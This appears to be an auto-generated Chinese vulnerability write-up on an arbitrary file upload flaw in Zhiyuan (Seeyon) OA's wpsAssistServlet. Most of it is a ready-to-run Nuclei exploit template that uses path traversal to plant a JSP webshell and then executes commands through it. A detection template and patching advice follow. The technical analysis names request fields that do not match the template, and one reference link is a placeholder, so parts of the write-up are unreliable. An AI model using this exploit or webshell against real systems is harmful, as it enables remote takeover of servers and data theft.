[webapps] Zhiyuan OA - arbitrary file upload leading

📋 漏洞基础信息

🔬 漏洞根因

文件上传功能未对文件类型和路径进行严格校验，攻击者可通过修改请求中的文件扩展名或目录遍历符号，将恶意文件写入服务器可执行目录。

🎯 攻击场景

1. 访问靶标OA系统登录页/文件上传接口。 2. 构造包含恶意脚本（如JSP Webshell）的POST请求，修改上传参数（如`fileType=jsp`、路径参数含`../`）。 3. 将文件上传至Web可访问目录（如`webapps/ROOT/`）。 4. 访问上传的文件路径，触发代码执行，获取服务器控制权。

💥 漏洞影响

远程代码执行(RCE) / 服务器沦陷 / 数据泄露 / 内网横向移动

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2025-34040-exploit

info:
  name: Zhiyuan OA Arbitrary File Upload Exploit
  author: Beatriz Fresno Naumova
  severity: critical
  description: Exploits path traversal in Zhiyuan OA's wpsAssistServlet to upload a JSP file and execute commands.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34040
    - https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload
  tags: cve,cve2025,zhiyuan,oa,rce,file-upload

variables:
  cmd: "id"
  jsp_filename: "test.jsp"

http:
  - raw:
      - |
        POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{jsp_filename}}&fileId=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="upload"; filename="123.xls"
        Content-Type: application/vnd.ms-excel

        <%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while((line=br.readLine())!=null){out.println(line);}%>
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers:
      - type: word
        words:
          - "200"
          - "OK"
          - "success"
          - "true"
        condition: or
        part: status_code

    extractors:
      - type: kval
        part: header
        kval:
          - location

  - raw:
      - |
        GET /{{jsp_filename}}?cmd={{cmd}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "uid="
          - "root:"
          - "bin:"
          - "www-data"
          - "daemon"
        condition: or

    matchers-condition: and

🔬 深度技术分析

PoC构建一个multipart/form-data请求，关键字段包括：`action=upload`、`filename=shell.jsp`、`dir=../webapps/ROOT/`，使服务器将JSP文件写入部署根目录，随后通过HTTP GET访问该文件即可执行任意命令。

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2025-34040-detection

info:
  name: Zhiyuan OA Arbitrary File Upload Detection
  author: Beatriz Fresno Naumova
  severity: critical
  description: Detects Zhiyuan OA instances potentially vulnerable to arbitrary file upload via wpsAssistServlet path traversal.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34040
    - https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload
  tags: cve,cve2025,zhiyuan,oa,file-upload

http:
  - method: GET
    path:
      - "{{BaseURL}}/seeyon/wpsAssistServlet"

    matchers:
      - type: word
        words:
          - "WPSAssistServlet"
          - "wpsAssistServlet"
        condition: or
        part: body
      - type: status
        status:
          - 200
          - 405
          - 302
          - 500
        condition: or

    matchers-condition: and

🛡️ 修复建议

官方已发布安全补丁，请升级至最新版本。临时措施：1) 在Web应用防火墙上限制上传接口的访问IP；2) 禁用JSP文件上传功能；3) 对上传目录移除执行权限。

📎 参考链接

• https://nvd.nist.gov/vuln/detail/CVE-2025-34040
• https://github.com/advisories/GHSA-xxxx-xxxx-xxxx
• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-09 17:48 | 来源: Exploit-DB